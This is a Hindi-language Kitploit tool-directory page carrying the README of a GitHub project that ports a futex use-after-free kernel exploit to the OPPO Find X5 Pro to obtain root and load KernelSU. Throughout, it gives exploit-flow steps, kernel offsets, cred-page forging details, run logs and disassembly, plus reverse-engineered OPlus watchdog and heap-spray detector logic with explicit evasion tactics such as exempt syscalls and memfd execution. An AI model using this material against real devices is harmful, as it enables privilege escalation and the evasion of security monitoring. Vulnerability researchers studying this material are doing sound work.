Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/imeiplus/ghostlock-pfem10
एंड्रॉइड सुरक्षाविशेषाधिकार वृद्धिमेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगमोबाइल सुरक्षापेलोड डेवलपमेंटबाइनरी शोषण
GitHubimeiplus/ghostlock-pfem10

ghostlock-pfem10

GhostLock (CVE-2026-43499) OPPO Find X5 Pro (PFEM10) के लिए — OPlus watchdog और heap-spray detector रिवर्स इंजीनियरिंग

2 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

GhostLock — OPPO Find X5 Pro (PFEM10)

English · 中文

build

ColorOS 16 पर OPPO Find X5 Pro के लिए GhostLock (CVE-2026-43499) पोर्ट। एक uid=0 चाइल्ड प्रोसेस और एक लोडेड kernelsu.ko तक पहुँचता है; रूट प्रोसेस को इंटरसेप्ट किया जाता है।

Vulnerability

CVE-2026-43499 — futex PI use-after-free। remove_waiter() current->pi_blocked_on को तब साफ़ करता है जब current requeuer हो, rt_mutex_start_proxy_lock() के -EDEADLK रोलबैक पथ पर।

remove_waiter @ 0xffffffc0081ed254 — pre-fix shape।

Device

Status

"root process survives" पर: evidence/kill.log में रन uid=0 तक पहुँचते हैं और kernelsu.ko लोड करते हैं, और उस रन में जिसने वास्तव में इसके लिए पोल किया KernelSU manager प्रोसेस 120 s तक जीवित रहा और kernelsu अभी भी /proc/modules में Live था। बाद के एक रन में वही श्रृंखला Android framework services को अगम्य छोड़ गई (Can't find service: package/power/input/phone/wifi) जबकि मॉड्यूल अभी भी Live था। कोई [ROOTCHECK-*] kernel लाइन और कोई $$sys_call_number@@ payload कभी कैप्चर नहीं किया गया, इसलिए बाद के रन की स्थिति का कारण श्रेय नहीं दिया गया। देखें evidence/notes.md §2.3, §2.4 और §7।

Offsets

task_struct

thread_info

FieldOffset

cred

Exploit Flow```

LT perf leak target task_struct → file W7 stage 1 task+0x778 = V (real_cred → private sprayed page; V observed) W7 stage 2 task+0x780 = V (cred) ★ V12_W7_VALUE=V — THE SAME VALUE, not a new page W7 stage 3 V+8 = 0 (LOCAL repair of the page that was installed, ZERO shape) LT child fexecve(memfd of loader) — no execve of a /data path loader ksud late-load → kernelsu ... Live

root@kitploit:~
**चरण 2 को चरण 1 का मान स्पष्ट रूप से दिया जाना चाहिए।** चरण 1 और 2 दो
स्वतंत्र प्रक्रियाएँ हैं, प्रत्येक का अपना स्प्रे है, इसलिए "क्रेड पेज को दोनों
स्लॉट में लिखें" एक जाल है: इसे भोलेपन से पढ़ने पर `(pageA, pageB)` उत्पन्न होता है, और चूँकि
`commit_creds` **पॉइंटर्स** की तुलना करता है, वह युग्म विचलित होता है भले ही दोनों लेखन
सफल हों। यह काल्पनिक नहीं है — यह ठीक वही है जो रन 3 और 9 ने किया:```
run 9   0x778 shot  write value = 0xffffff88679bade0
        0x780 shot  write value = 0xffffff8785d6ade0     <- a different page
run 3   0x778 shot  write value = 0xffffff8787b5ade0
        0x780 shot  write value = 0xffffff881bad2de0     <- a different page

run_bootA.sh इसलिए stage 2 को V12_W7_VALUE=<stage 1's observed value> के साथ चलाता है और यदि वह मान पुनर्प्राप्त नहीं किया जा सकता है तो उसे बिल्कुल भी चलाने से इनकार कर देता है। HOLD को stage 2 से अधिक समय तक जीवित रहना चाहिए, अन्यथा stage 1 का पृष्ठ मुक्त और पुनःआवंटित हो जाता है और "वही मान" एक डैंगलिंग पॉइंटर बन जाता है। देखें the same-value rule।

प्रति बूट एक पृष्ठ की मरम्मत होती है। Stage 3 V+8 को शून्य करता है। दो भिन्न पृष्ठों के साथ, दोनों को शून्य करने से gid/suid स्टैम्प (नीचे) मिट जाएगा और एक विचलन को सहमति जैसा दिखाएगा, इसलिए रनर केवल उसी पृष्ठ की मरम्मत करता है जो वास्तव में इंस्टॉल किया गया था और यदि दोनों मान असहमत हों तो रुक जाता है।

cred पृष्ठ payload.c द्वारा बनाया जाता है: सभी आठ id फ़ील्ड शून्य, सभी पाँच capability सेट पूर्ण, और user / user_ns / group_info जो root_user / init_user_ns / init_groups की ओर इंगित हैं। Stage 3 इसलिए मौजूद है क्योंकि लेखन का साइड इफ़ेक्ट हमेशा जिस भी cred को इंस्टॉल करता है उसके cred+8 (gid/suid) को क्लॉबर कर देता है।

init_cred पर — एक स्पष्ट द्विभाजन

यहाँ दो अनुभाग पहले एक-दूसरे का खंडन करते थे ("कभी भी ग्लोबल init_cred नहीं" बनाम "CONTROL=1 सेल 2 को पुनरुत्पादित करता है", और सेल 2 है init_cred)। दोनों कथन विभिन्न भूमिकाओं के लिए सत्य हैं:

  • लक्ष्य के रूप में वर्जित। init_cred पॉइंटर लिखने से साइड इफ़ेक्ट init_cred+8 को वैश्विक रूप से भ्रष्ट कर देता है — init_cred हर कर्नेल थ्रेड द्वारा साझा किया जाता है, और Uid: 0 0 4294967176 0 ठीक वही भ्रष्टता है। कोड इस पथ से इनकार करता है जब तक कि V12_ALLOW_INIT_CRED=1 जानबूझकर सेट न किया गया हो।
  • एकमात्र प्रमाणित संगत युग्म के रूप में बनाए रखा गया। 09-14 श्रृंखला जो ksud तक पहुँची, ने दोनों स्लॉट में एक निश्चित पता (0xffffff802a7e0be0) लिखा, इसलिए real_cred == cred निर्माण से ही — यही कारण है कि यह execve तक जीवित रहा। CONTROL=1 इसे पुनरुत्पादित करता है। यह एक नियंत्रण है, न कि निर्माण करने योग्य कोई कॉन्फ़िगरेशन।

perf leak: PERF_TYPE_SOFTWARE / PERF_COUNT_SW_CPU_CLOCK, PERF_SAMPLE_REGS_INTR, exclude_user=1. [0xffffff8400000000, 0xffffff90000000) स्वीकार करें, वोट ≥ 15%।

राइट प्रिमिटिव, और उसका साइड इफ़ेक्ट

UAF को rb_erase_cached Case 1-left के माध्यम से चलाया जाता है। यह दो स्टोर देता है, एक नहीं:``` *(write_target) = write_value // the store you aim *(write_value + 0x08) = write_target // unavoidable side effect

root@kitploit:~
`write_value` को 8-बाइट aligned होना चाहिए और bit 0 clear होना चाहिए — यह या तो `0` है या एक
valid kernel address है। **यही कारण है कि `g_boot_state` को इस
primitive से सेट नहीं किया जा सकता**: जिस byte को आपको `1` बनाना है, उसका low bit
alignment requirement के कारण `0` पर forced हो जाता है, और `write_value` वही quantity है जो उस
address के समान है जहाँ side effect पड़ता है।

### Side effect जहाँ भी `write_value` point करता है, वहीं लिखता है

`write_value` दोनों है — *वह value जो store होती है* और *वह address जहाँ side effect
लिखता है* (`+8` पर)। इसे किसी global kernel object पर point करें और आप उस
object को corrupt कर देंगे।

**W7 पहले बिल्कुल यही करता था** — `write_value` को `init_cred` alias पर aim करते हुए —
और यह readback में दिखाई देता है। `out/t5_w7_778.txt` से:```
shape shift=0 wps=5: in[0]=0xffffff802a7e0be0 (write_value) in[2]=0xffffff8800cdd178 (write_target)
W7[W7] write_target= 0xffffff8800cdd178
Uid:	0	0	4294967176	0

write_value init_cred alias था और write_target child_task+0x778 था। init_cred+8 gid/suid है, इसलिए साइड इफेक्ट ने वहाँ 0xffffff8800cdd178 संग्रहीत किया: init_cred.gid = 0x00cdd178 और init_cred.suid = 0xffffff88 = 4294967176 — ठीक ऊपर दी गई Uid: लाइन का चौथा awk फ़ील्ड। init_cred+8 को शून्य करने से इसे ठीक कर दिया (out/t5_repair.txt: Uid: 0 0 4294967176 0 → ), और "W7 stage 3" बस इतना ही था।

यह पथ अब कोड में अस्वीकृत है। V12_W7_INIT_CRED=1 एक स्पष्टीकरण के साथ निरस्त हो जाता है जब तक कि V12_ALLOW_INIT_CRED=1 भी सेट न हो, और W2/W6/LTC पथ अब निजी cred पेज के अनुपस्थित होने पर init_cred पर वापस नहीं गिरते — वे इसके बजाय निरस्त हो जाते हैं। डिफ़ॉल्ट, और एकमात्र विवेकपूर्ण पथ, स्प्रे किया गया cred पेज है।

साइड इफेक्ट स्वयं टाला नहीं जा सकता: write_value को ही cred पॉइंटर होना चाहिए, इसलिए cred+8 हमेशा write target से अधिलेखित हो जाता है। केवल इसका स्थान एक विकल्प है — और मरम्मत अब cred_page+8 का एक स्थानीय शून्यकरण (stage 3) है, किसी वैश्विक ऑब्जेक्ट में लेखन नहीं।

एक कचरा groups= रीडआउट एक अलग लक्षण है, यह वाला नहीं। यह एक ऐसे रन में देखा गया जहाँ gid और egid साफ़ पढ़े गए, इसलिए यह init_cred+8 साइड इफेक्ट से नहीं आ सकता; यह नकली cred के स्वयं के group_info फ़ील्ड की ओर इंगित करता है। देखें evidence/notes.md §10.6।

★ एकल-फ़ील्ड लैंडिंग कार्य को विचलित छोड़ देती है — और वह एक कठोर BUG_ON है

प्रिमिटिव प्रति पास ठीक एक पते पर संग्रहीत करता है। task+0x778 (real_cred) और task+0x780 (cred) दो अलग पते हैं, इसलिए कोई भी लैंड किया गया केवल-0x778 या केवल-0x780 लेखन कार्य को cred != real_cred के साथ छोड़ देता है — एक विचलन अवस्था।

इस इमेज पर वह अवस्था एक कठोर पैनिक है, चेतावनी नहीं। commit_creds BUG_ON(task->cred != task->real_cred) के साथ आरंभ होता है:``` commit_creds @0xffffffc008186784 0x1867a4 ldr x19, [x20, #0x778] ; old = task->real_cred 0x1867a8 ldr x8, [x20, #0x780] ; task->cred 0x1867ac cmp x8, x19 0x1867b0 b.ne #0xffffffc008186b68 0x186b68 brk #0x800 ; == BUG()

root@kitploit:~
और kernel **`CONFIG_PANIC_ON_OOPS=y`** (`CONFIG_PANIC_ON_OOPS_VALUE=1`) के साथ build किया गया है।
`__put_cred @0xffffffc008185530` उसी परिवार के assertions रखता है
(`usage != 0` → BUG; `cred == current->cred` / `current->real_cred` → BUG)।

तो divergence *latent* है — जब तक victim बस spin करता है तब तक यह कुछ नहीं करता —
जब तक उस task पर **कोई भी** `commit_creds` नहीं होता: `setresuid` / `setresgid` /
`setuid` / `setgid` / `capset`, या **`install_exec_creds` के माध्यम से `execve`**।

> **⛔ वापस लिया गया (2026-09-18 देर से): यह reboot mechanism नहीं है।**
>
> इस section के एक पहले के revision ने divergence को "reboots के लिए प्रमुख mechanism
> candidate" कहा था और कहा था कि यह "shape split को समझाता है"। यह नहीं करता,
> और इसका कारण अब बहस के बजाय मापा गया है:
>
> * `commit_creds` अपना task **`current`** से लेता है — `0x1867a0 mrs x20, sp_el0`।
>   इसका signature है `commit_creds(struct cred *new)`; कोई task argument नहीं है।
>   तो divergence तभी मायने रखता है जब इसे **धारण करने वाला** task स्वयं
>   `commit_creds` call करे।
> * Rebooting runs सभी `V12_NO_EXEC=1` थे (शब्दशः उद्धृत:
>   `run3_0445.log:18`, `run9_0606.log:20`, `run10_0616.log:24`), इसलिए victim ने
>   कभी `execve` जारी नहीं किया और कभी `commit_creds` तक पहुँचा ही नहीं।
> * Run 10 में कोई poke बिल्कुल नहीं था (`grep -c poke` = 0)।
> * `exit_creds` `put_cred` से पहले **दोनों** pointers को null करता है
>   (`0x185cb8 str xzr,[x19,#0x778]`; `0x185d24 str xzr,[x19,#0x780]`), इसलिए
>   victim का `_exit(0)` divergence को **मिटा** देता है, उस पर ट्रिप करने के बजाय।
>
> ⇒ उन runs में divergence **inert** था। `BUG_ON` वास्तविक है, लेकिन यह एक
> landmine है जो अभी फटा नहीं है। "Shape A never reboots" फिर से एक correlation
> बन जाता है। Landmine वास्तव में जिस चीज़ को constrain करता है वह है
> **laundering**, क्योंकि `setresgid`/`setresuid` स्वयं `commit_creds` call करते हैं।
>
> **वह मात्रा जो वास्तव में chains को अलग करती है वह pointer equality है, और इसका
> मतलब है कि दोनों shots को ONE value लिखनी चाहिए** — अगला subsection देखें।

### ★★★ दोनों shots को *समान* value लिखनी चाहिए — केवल दोनों का land होना पर्याप्त नहीं

`BUG_ON` **pointers** की तुलना करता है। दो pages जो दोनों `uid 0` रखते हैं, फिर भी
दो अलग objects हैं। Captures इस अंतर को ठोस बनाते हैं:

| chain | 0x778 shot | 0x780 shot | pointers |
|---|---|---|---|
| old (`t5loop.sh MODE=CRED`) | `in[0]=0xffffff802a7e0be0` | `in[0]=0xffffff802a7e0be0` | **equal** → ksud loaded, manager alive 120 s |
| new (`run_bootA.sh`) | `0xffffff88679bade0` (run 9) | `0xffffff8785d6ade0` | **differ** → divergent even with both landed |

`tools/t5loop.sh` **हर** offset पर **एक** `$ENVV` लागू करता है, इसलिए `MODE=CRED`
ने दोनों shots को *रचना के अनुसार* समान बना दिया। `run_bootA.sh` ने step 5 और
step 6 को खाली `$extra` के साथ fire किया, इसलिए प्रत्येक ने अपना **स्वयं का** page
spray किया।

⇒ आवश्यकता है **"दोनों shots समान value लिखें"**। `run_bootA.sh` अब इसे लागू करता
है (`SAME_VALUE=1`, default): step 6 step 5 के observed `write_value` को शब्दशः
reuse करता है, और यदि वह उस value को recover नहीं कर पाता तो **fire करने से ही
इनकार** कर देता है — क्योंकि fire करना एक divergent pair बना देगा।

⚠ `HOLD` को दूसरी shot से अधिक जीवित रहना चाहिए। यदि पहली shot का PIN child पहले
मर जाता है, तो page free और reallocate हो जाता है और "same value" एक dangling
pointer बन जाता है। Default `HOLD=20` **बहुत छोटा** है; `HOLD=600` उपयोग करें।
यह अब *default* है जब भी `SAME_VALUE=1` हो — पुराना unconditional 20 s का मतलब था
कि default configuration स्वयं ही trap थी — और `SAME_VALUE=1` के साथ एक explicit
छोटा `HOLD` अब चुपचाप dangling pointer बनाने के बजाय ज़ोर से चेतावनी देता है।

⚠ `CONTROL=1` पहले **केवल step 5** बदलता था, इसलिए यह
`(init_cred, fresh page)` — एक divergent pair — उत्पन्न करता था, जबकि यह file दावा
करती थी कि यह cell 2 को reproduce करता है। ठीक किया गया: अब यह दोनों shots को
`init_cred` पर सेट करता है। (Cell 2 की कीमत बरकरार है: side effect `init_cred+8`
को globally corrupt करता है, जो कि `Uid: 0 0 4294967176 0` है।)

**credential को launder करने वाली किसी भी चीज़ के लिए परिणाम**
(`setresgid` + `setresuid`, sprayed page को असली `struct cred` से बदलने के लिए):

- Mechanism वास्तविक और verified है — `commit_creds` `x21` को **दोनों**
  `task+0x778` और `task+0x780` पर लिखता है (`0x186998` / `0x1869a0`), इसलिए एक
  call split को स्थायी रूप से ठीक कर देता है; `prepare_creds @0xffffffc008186070`
  है `kmem_cache_alloc(cred_jar)` + `memcpy(new, task->cred, 0xA8)` +
  `security_prepare_creds(...)`, और 147/149 दोनों guard की exempt list पर हैं।
- **लेकिन इसकी precondition "0x778 shot छोड़ दो" के विपरीत है।** Launder स्वयं
  `commit_creds` call करता है, इसलिए इसे केवल तब जारी किया जाना चाहिए जब **दोनों**
  pointers पहले से समान value रखते हों।
- `V12_LAUNDER=1` **दो** चीज़ों पर gated है, और पहली कोई observation नहीं है:
  1. **`V12_W7_SAME_VALUE=1`** — यह *provenance* तथ्य कि दोनों shots को समान value
     दी गई थी। बिना read primitive के, pointer identity unobservable है, इसलिए इसे
     बेहतर userspace check से नहीं बदला जा सकता; इसे declare करना ही होगा।
  2. `consistent=1` — `0x780` view (`getuid()`) का `0x778` view
     (`/proc/self/status` `Uid:`) से मेल खाना। **आवश्यक लेकिन अकेले पर्याप्त नहीं**:
     दो अलग pages जो दोनों `uid 0` रखते हैं, बराबर पढ़े जाते हैं जबकि pointers अलग
     होते हैं — जो वास्तव में वही case है जिसे runner पहले manufacture करता था।
     (1) दिए जाने पर, यह पर्याप्त हो जाता है: agree + same value ⇒ दोनों एक ही page
     पर land हुए।
  कोई भी check fail हो ⇒ इनकार, और four-case table evidence में चला जाता है।
  LT report line दोनों views (`uid=` / `real_uid=` / `consistent=`) के साथ
  `same_value_declared=` भी print करती है ताकि state पढ़ी जाए, अनुमान न लगाया जाए।

### ★ Instrument 1 — side effect एक STAMP है जो target पर निशाना लगाता है

`*(write_value + 8) = write_target`, और `cred+8` / `cred+0xc` हैं `gid` / `suid`,
इसलिए एक 8-byte store दोनों पर land करता है:```
cred.gid  = low32(write_target)
cred.suid = hi32(write_target)

यह एक माप है, कोई मॉडल नहीं। out/t5_w7_778.txt में write_target = 0xffffff8800cdd178 और Uid: 0 0 4294967176 0 है, जहाँ 4294967176 = 0xffffff88 = hi32(write_target); notes.md §11 दूसरे आधे को दर्ज करता है, init_cred.gid = 0x00cdd178 = low32(write_target)।

दो उपयोग:

  1. यह task+0x778 के लिए लैंडिंग ओरेकल है। /proc/<pid>/status real_cred = task+0x778 पढ़ता है — ठीक वही cred जो अभी इंस्टॉल हुआ है — इसलिए स्टैम्प सीधे userspace से पढ़ा जा सकता है। इसे stage 3 से पहले पढ़ें: मरम्मत cred+8 को शून्य कर देती है और इसे मिटा देती है (notes.md §11 का t5_repair.txt एक सफल मरम्मत से पहले 4294967176 पढ़ता है और बाद में 0)।
  2. यह एक दूसरा, स्वतंत्र कारण है कि launder gate दो अलग-अलग पेजों को पकड़ सकता है। अकेले uid आधा ऐसा नहीं कर सकता: uid 0 वाला कोई भी पेज 0 पढ़ता है, इसलिए दो अलग-अलग पेज दोनों "consistent" रिपोर्ट करते हैं। लेकिन low32(T+0x778) और low32(T+0x780) ठीक 8 से भिन्न होते हैं, इसलिए दो पेजों के साथ getgid() ( से) और ( से) असहमत होते हैं — और uid के साथ-साथ gid की भी तुलना करता है।

⇒ V12_W7_SAME_VALUE दूसरा gate है, केवल एकमात्र नहीं। यह अभी भी मायने रखता है: स्टैम्प केवल तभी विभेद करता है जब दोनों साइड इफेक्ट सक्रिय हुए हों, इसलिए same-value नियम उस शेष छेद को बंद कर देता है। और ध्यान दें कि gate क्या है — एक डिटेक्टर, न कि निवारक। यह केवल मना कर सकता है; यह कार्य को बाकी बूट के लिए विचलित छोड़ देता है। same-value नियम ही इस जोड़ी को सही बनाता है, जो पुरानी श्रृंखला में था और जो execve तक पहुँचने के लिए आवश्यक है।

★ इंस्ट्रूमेंट 2 — probe_state लैंडिंग मानदंड नहीं है

यह इस परियोजना में तीन बार गलत रहा है: W1 ग्लोबल पर उतरा और R रिपोर्ट किया; run 12 का D एक cred के बजाय एक ग्लोबल पर लक्षित था; और run 11 का R एक तालिका में लिख दिया गया जैसे कि वह एक लैंडिंग हो (run11_w778r1_miss.txt और run 7 का w7_w7781.txt पंक्ति-दर-पंक्ति समरूप हैं — दोनों probe_state = R, probe_done = 0)। प्रति-लक्ष्य ओरेकल का उपयोग करें:

run_bootA.sh अब stage 1 के लिए स्टैम्प का उपयोग करता है — जो task+0x778 पर ROUNDS>1 पुनःप्रयासों को अर्थपूर्ण बनाता है, क्योंकि एक विफल राउंड अनुमानित होने के बजाय पठनीय होता है — और यह stage 2 को तब तक सक्रिय नहीं करेगा जब तक stage 1 उतर न जाए।

⛔ "awk फ़ील्ड" कहें, कभी "तीसरा फ़ील्ड" नहीं। uid_line लेबल भी प्रिंट करता है (Uid: 0 0 4294967176 0), इसलिए awk का $1 "Uid:" है और चार id मान $2..$5 हैं: $2=uid $3=euid $4=suid $5=fsuid। स्टैम्प cred+8 पर बैठता है, यानी gid (low32) और suid (hi32) — इसलिए यह Gid: $2 और Uid: है। इसे "तीसरा फ़ील्ड" कहना (जो की गिनती करता है, और §11 इसे इसी तरह शब्दबद्ध करता है) कोड को पढ़ने के लिए आमंत्रित करता है, जो नकली cred पर = है और कभी भी के बराबर नहीं हो सकता। यह off-by-one यहाँ मौजूद था: ने एक उतरे हुए शॉट के लिए "no stamp" लौटाया, इसलिए stage 2 कभी सक्रिय नहीं हुआ और launder gate हमेशा के लिए मना करता रहा — , क्योंकि "no stamp" एक वास्तविक मिस का भी सामान्य परिणाम है।

एक मानदंड जिसका कभी किसी ज्ञात-सकारात्मक नमूने के विरुद्ध परीक्षण नहीं किया जाता, वह मानदंड नहीं, एक अनुमान है — और इस श्रेणी की विफलता (यह off-by-one, probe_state, dmesg -w, खाली klog.host, खाली readback) हमेशा "कुछ नहीं हुआ" के रूप में प्रस्तुत होती है, जो एक वैध प्रायोगिक परिणाम भी है। इसलिए जाँच अब दो बार रक्षित है:

  • stamp_selftest() preflight में चलता है और विफलता पर exit 9 करता है, वही निष्कर्षण फ़ंक्शन चलाते हुए जो gate उपयोग करता है, out/t5_w7_778.txt के मापे गए मानों के विरुद्ध (write_target = 0xffffff8800cdd178 → Uid $4 = 4294967176, Gid $2 = 13488504) साथ ही नकारात्मक और अपठनीय नमूने। एक स्व-परीक्षण जो जाँच को पुनः लागू करता है, कुछ सिद्ध नहीं करता, इसलिए फ़ील्ड निष्कर्षण को uid_suid_field / gid_gid_field में अलग किया गया है।
  • tools/test_stamp_criterion.sh — एक स्टैंडअलोन रिग्रेशन टेस्ट के रूप में वही चीज़, जो वास्तविक फ़ंक्शनों को से निकालता है।

stamp_ok() तीन स्थितियाँ लौटाता है, क्योंकि "पढ़ नहीं सकते" "no stamp" नहीं है (यही मिलावट run 13 को "no change" जैसा दिखाती है): 0 = मौजूद, 1 = पठनीय और कोई स्टैम्प नहीं, 2 = अपठनीय। और जब यह 1 लौटाता है जबकि probe_state = D, तो रनर "did not land" संदेश के बजाय ⛔ ORACLE INCONSISTENT — "जाओ मानदंड जाँचो" — प्रिंट करता है, जो ऑपरेटर को पूरी तरह से भिन्न स्थान पर भेजता है (एक नया बूट, या हिट-रेट शिकार)।

पूर्ण व्युत्पत्ति: evidence/2026-09-18-divergence-is-latent.md और evidence/2026-09-18-cred-launder-verification.md (बाद वाले का §2.3 यथास्थान वापस लिया गया है)। write-shape ओवरलैप स्व-जाँच ऑफ़लाइन बंद है: shape शब्द कर्नेल स्टैक पर fd_set ग्रिड में रहते हैं जबकि साइड इफेक्ट स्प्रे किए गए पेज के अंदर उतरता है, इसलिए दोनों किसी भी shape में ओवरलैप नहीं कर सकते।

डिटेक्शन पथ

तीन स्वतंत्र रिपोर्टर। कोई भी दूसरे के लिए फ़ॉलबैक नहीं है, और केवल पथ 1 कॉलिंग कार्य को मार सकता है।

पथ 2 execve पर सक्रिय होता है, credential परिवर्तन पर नहीं, और यह पथ 1 से एक अलग कोड पथ है। यह kevent_send_to_user के माध्यम से रिपोर्ट करता है, इसलिए आगे क्या होता है यह एक userspace डेमॉन का निर्णय है, कर्नेल का नहीं।

जाँच exec किए जा रहे इमेज के पथ पर है, इसलिए लोडर के payload को memfd-लोड करना पर्याप्त नहीं है: यदि लोडर स्वयं /data/local/tmp से exec किया जाता है, तो वह पहला execve पहले से ही रिपोर्ट कर देता है। memfd पर d_path() /memfd:… होता है, इसलिए लोडर को स्वयं एक memfd के माध्यम से exec किया जाना चाहिए — V12_EXEC_MEMFD अब ठीक इसी कारण से डिफ़ॉल्ट रूप से चालू है। पुराना व्यवहार RUN 4 में दिखाई देता है:``` LT child exec /data/local/tmp/glx12 (4 args) <- execve of a /data path while uid=0 LT child memfd loaded 5014624 bytes (fd=5) <- memfd only protected the second image

root@kitploit:~
पथ 2 के लिए ग्रेप-योग्य मार्कर:```
[ROOTCHECK-EXEC-INFO]:common %s result %s      with  "execve_report" / "execve_block"
%d,path@@%s                                    kevent payload fragment

क्योंकि path 2 और path 3 केवल kevent के माध्यम से रिपोर्ट करते हैं, "kernel log में कोई [ROOTCHECK-*] नहीं" इस बात को बाहर नहीं करता कि उनमें से कोई भी सक्रिय हुआ हो। उस अनुमान के लिए userspace receiver की आवश्यकता है, जिसे हमने अभी तक नहीं खोजा है।

Watchdog — oplus_security_guard.ko

sys_enter cache:```asm ldrsw x8, [x1, #0x118] ; regs->syscallno mrs x9, sp_el0 ; current ldr x10, [x9, #0x780] ; cred str x8, [x9, #0xdf8] ldr w8, [x10, #4] → str x8, [x9, #0xe00] ; uid ldr w8, [x10, #0x14] → str x8, [x9, #0xe08] ; euid ldr w8, [x10, #8] → str x8, [x9, #0xe10] ; gid ldr w8, [x10, #0x18] → str x8, [x9, #0xe18] ; egid

root@kitploit:~
`sys_exit` जाँच:```asm
ldr   x0,  [x8, #0xe00]         ; cached uid
cbz   x0, #0x48c                ; cached uid == 0 → return
adrp  x9, #0 ; ldrb w9, [x9]    ; g_boot_state
tbnz  w9, #0, #0x48c            ; is_unlocked → return
ldr   x9,  [x8, #0x780]         ; cred
ldr   w3,  [x8, #0xdf8]         ; cached syscallno
cmp   x0, w10 ; b.hi #0x468     ; uid descending → kill path
                                ; euid / gid / egid, same shape
ldr   x9,  [x8, #8]             ; addr_limit
cmp   x9,  #0x8000000001
b.lo  #0x48c                    ; addr_limit != KERNEL_DS → return
sub   w9,  w3, #0x8f            ; syscallno - 143
cmp   w9,  #0x47
b.hi  #0x4a0                    ; outside 143..214 → kill
ldrsw x12, [x10, x9, lsl #2]    ; jmp table @ .rodata+0
br    x11
0x48c: ret
0x4a0: bl oplus_root_check_succ ; printk + kevent_send_to_user
       bl oplus_root_killed     ; printk + do_exit(SIGKILL)

कंट्रोल-फ़्लो नोट (एक्सप्लॉइट क्रम के लिए महत्वपूर्ण)। चार अवरोही-किनारा तुलनाएँ सीधे 0x468 पर शाखा करती हैं, जो सिस्कॉल-नंबर डिस्पैच है — वे addr_limit गेट से नहीं गुज़रतीं। 0x454–0x464 तक केवल तब पहुँचा जाता है जब कोई भी id अवरोहित न हुआ हो। इसलिए डिस्पैच तब प्रविष्ट होता है जब या तो कोई id अवरोहित हुआ या addr_limit == KERNEL_DS; यह addr_limit द्वारा गेटेड नहीं है।

परिणाम:

  • किलर उस सिस्कॉल के दौरान सक्रिय होता है जिसमें क्रेडेंशियल बदले — वह जिसका sys_enter अभी भी पुराना uid कैश किए हुए था। यदि सिस्कॉल प्रवेश के समय टास्क पहले से uid=0 है (0x400 cbz), तो हुक लौट जाता है और तब से अंधा बना रहता है।
  • इसलिए क्रेडेंशियल परिवर्तन मॉड्यूल को छुए बिना भी उत्तरजीवी हो सकता है: किसी अन्य टास्क को लेखन करने दें जबकि शिकार यूज़र स्पेस में घूम रहा हो, या परिवर्तन को 12 छूट-प्राप्त सिस्कॉलों में से किसी एक के माध्यम से रूट करें। देखें delivery/外部建议评审_2026-09-18.md।

g_boot_state — 1 बाइट .data..ro_after_init, मॉड्यूल इनिट पर verified_bootstate से strstr के माध्यम से सेट होता है। is_unlocked() = LDRB + RET।

मॉड्यूल VA राइट फ़ॉल्ट करते हैं (CONFIG_STRICT_MODULE_RWX=y) — फ़िज़मैप उपनाम 0xffffff80… का उपयोग करें।

रिपोर्ट पेलोड: $$sys_call_number@@%d, $$set_id_flag@@%d, $$addr_limit@@%lx, $$enforce@@%d।

छूट-प्राप्त सिस्कॉल — .rodata+0, इंडेक्स 143–214

शेष 60 प्रविष्टियाँ → रिपोर्ट + किल।

किसी थ्रेड को sendmsg (211) पर ब्लॉक न करें जबकि उसके क्रेडेंशियल बदल रहे हों। यह तालिका में नहीं है, इसलिए थ्रेड रिपोर्ट और किल किया जाता है। इस उद्देश्य के लिए जिन सिस्कॉलों में ब्लॉक होना सुरक्षित है, वे केवल ऊपर दिए गए बारह हैं: setregid, setgid, setreuid, setuid, setresuid, setresgid, connect, getsockname, setsockopt, shutdown, readahead, brk.

सुधार (2026-09-18)। इस तालिका के एक पहले के संशोधन ने प्रत्येक प्रविष्टि को वास्तविक arm64 सिस्कॉल नंबर से एक कम लेबल किया था (146 को setresuid कहा गया था; यह setuid है — setresuid 147 है)। संख्याएँ हमेशा सही थीं; केवल नाम गलत थे। नाम अब इस डिवाइस की कर्नेल इमेज में sys_call_table @ 0xffffffc00a13d8c0 से हल किए गए हैं। विशेष रूप से sendmsg (211), munmap (215), getsockopt (209) और getpeername (205) छूट-प्राप्त नहीं हैं — इनमें से किसी में भी थ्रेड को ब्लॉक करना जबकि उसके क्रेडेंशियल बदल रहे हों, पास नहीं बल्कि किल है। tools/gen_exempt_table.py से पुनः जनरेट करें।

हीप-स्प्रे डिटेक्टर — oplus_secure_harden.ko

root@kitploit:~
`entry_handler_setxattr` → `oplus_heapspray_check(7)`, `entry_handler_cpuinfo` → `(6)`, दोनों बिना शर्त।

`oplus_heapspray_check` — काउंटर `heapspary_ip4` / `ip6` / `xttr` / `cpuinfo`, `ktime_get_real_ts64` डेल्टा, 7 रिपोर्ट साइटें (`snprintf` + `printk` + `kevent_send_to_user`), `verified_bootstate` पर निर्भर।

### बचाव

| प्रिमिटिव | |
|---|---|
| `setsockopt` optname 46 `MCAST_JOIN_SOURCE_GROUP` | फ़िल्टर नहीं किया गया |
| `setsockopt` level `SOL_IPV6` (41) | फ़िल्टर नहीं किया गया यदि फ़िल्टर `level` पढ़ता है |
| `setxattr` | हमेशा गिना जाता है |
| `/proc/cpuinfo` | हमेशा गिना जाता है |
| `socket()` / `socketpair()` | हुक नहीं किया गया |
| `sendmsg`, `pipe`, `memfd`, `add_key`, `io_uring`, mmap | हुक नहीं किया गया |

## कॉन्फ़िग```
CONFIG_CFI_CLANG=y
CONFIG_PTR_AUTH=y
CONFIG_SHADOW_CALL_STACK=y
CONFIG_STRICT_MODULE_RWX=y
CONFIG_STATIC_USERMODEHELPER=y
